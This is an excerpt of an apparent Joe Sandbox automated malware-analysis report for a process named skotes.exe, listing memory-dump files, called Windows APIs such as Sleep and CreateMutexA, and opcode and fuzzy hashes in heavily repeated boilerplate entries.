Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9f61e8e6b0e53be6efeaaa9d483f8e2883c0261a9c11400f1744eaf37835e74b
Instruction ID: 58d035d04f7a2f15712b2e4416efa682ea8a0afabf27dc0d5ae7064227268655
Opcode Fuzzy Hash: 9f61e8e6b0e53be6efeaaa9d483f8e2883c0261a9c11400f1744eaf37835e74b
Instruction Fuzzy Hash: 3A216271A00619AFDF40EFA4CC959BEB7BAEF08720F101019F501F7251DB30AE419BA4

Function 0068F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0068F3A3

Strings

8"k, xrefs: 0068F44B
`'k, xrefs: 0068F375

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"k$`'k
API String ID: 3903695350-3309580246
Opcode ID: 0544b29493bec4156e4bd832011f74167b77d5d4539cb7de54780aca1ce315b2
Instruction ID: 7adc1e6de20a389fabf13bccd710bd58e65c0d17c1a3901a36d4a48d924783ea
Opcode Fuzzy Hash: 0544b29493bec4156e4bd832011f74167b77d5d4539cb7de54780aca1ce315b2
Instruction Fuzzy Hash: 0A318B31600201DFEB61BB79D845B9B73EAEF00352F10562EE845D7692DFB0AC80CB55

Analysis Process: skotes.exePID: 6072, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1963
Total number of Limit Nodes:	9

Executed Functions

Function 001B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001B652A,?,?,?,?,?,001B7661), ref: 001B6566

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4a469ed0b034a11d35589b07e882a8d0e91842c049ea0a712f2941ad50e6af4e
Instruction ID: b1683e2d9caf98b06107d702d7a89ef092d1f6672c992970484de60d75911f78
Opcode Fuzzy Hash: 4a469ed0b034a11d35589b07e882a8d0e91842c049ea0a712f2941ad50e6af4e
Instruction Fuzzy Hash: 18E08C30042108ABCF367B18DC05A883B69FF21784F840810F9088A631CB29EEA2CA80

Function 00189BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a7da66419fc704ccb4ff21c2a848aea124f418d32a4314dccb0cfa2a16ac6baf
Instruction ID: 74cfaf71b264ca8c340f71c3d42105eb766e33e99d9842db6c4d218be3276af0
Opcode Fuzzy Hash: a7da66419fc704ccb4ff21c2a848aea124f418d32a4314dccb0cfa2a16ac6baf
Instruction Fuzzy Hash: CE316A71A042048BFB18BBB8ED99B7DB762EF85314F644219E014EB3D5C7769B808B51

Function 00189F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 308ff9ed6f3e9ae49414162c971138ea8ba6dcd22030e91936681c867e013b96
Instruction ID: 82b6c1562ac6118d0a323999c4f8432d169f8c85d83b80c9e2c453045d712e0c
Opcode Fuzzy Hash: 308ff9ed6f3e9ae49414162c971138ea8ba6dcd22030e91936681c867e013b96
Instruction Fuzzy Hash: 2C314831A041049BFF1CBBB8DD997BDBB62EF85314F644219F028EB2D1C7759A808B52

Function 0018A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
